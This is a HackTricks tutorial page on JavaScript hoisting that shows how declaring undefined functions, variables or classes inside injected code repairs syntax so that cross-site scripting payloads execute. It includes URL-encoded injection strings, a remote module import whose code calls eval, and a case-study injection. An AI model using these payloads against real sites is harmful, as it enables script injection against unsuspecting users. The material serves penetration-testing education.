JS Hoisting

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Basic Information

In the JavaScript language, a mechanism known as Hoisting is described where declarations of variables, functions, classes, or imports are conceptually raised to the top of their scope before the code is executed. This process is automatically performed by the JavaScript engine, which goes through the script in multiple passes.

During the first pass, the engine parses the code to check for syntax errors and transforms it into an abstract syntax tree. This phase includes hoisting, a process where certain declarations are moved to the top of the execution context. If the parsing phase is successful, indicating no syntax errors, the script execution proceeds.

It is crucial to understand that:

1. The script must be free of syntax errors for execution to occur. Syntax rules must be strictly adhered to.

2. The placement of code within the script affects execution due to hoisting, although the executed code might differ from its textual representation.

Types of Hoisting

Based on the information from MDN, there are four distinct types of hoisting in JavaScript:

1. Value Hoisting: Enables the use of a variable's value within its scope before its declaration line.

2. Declaration Hoisting: Allows referencing a variable within its scope before its declaration without causing a ReferenceError, but the variable's value will be undefined.

3. This type alters the behavior within its scope due to the variable's declaration before its actual declaration line.

4. The declaration's side effects occur before the rest of the code containing it is evaluated.

In detail, function declarations exhibit type 1 hoisting behavior. The var keyword demonstrates type 2 behavior. Lexical declarations, which include let, const, and class, show type 3 behavior. Lastly, import statements are unique in that they are hoisted with both type 1 and type 4 behaviors.

Scenarios

Therefore if you have scenarios where you can Inject JS code after an undeclared object is used, you could fix the syntax by declaring it (so your code gets executed instead of throwing an error):

// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>'); 
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)

// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
    return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);

// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
    return 1;
}
alert(1);

// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie('leo','INJECTION')
test['cookie','injection']

More Scenarios

// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//) 

// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
  y: {
    z: function(param) {
      eval(param);
    }
  }
};

export { x };

// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
    if(config){
      return;
    }
    // TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config;`-alert(1)`//`+"
  } catch {
    fetch("/error", {
      method: "POST",
      body: {
        url:"https://try-to-catch.glitch.me/"+`
let config;`-alert(1)-`//`+""
      }
    })
  }

References

• https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios

• https://developer.mozilla.org/en-US/docs/Glossary/Hoisting

• https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.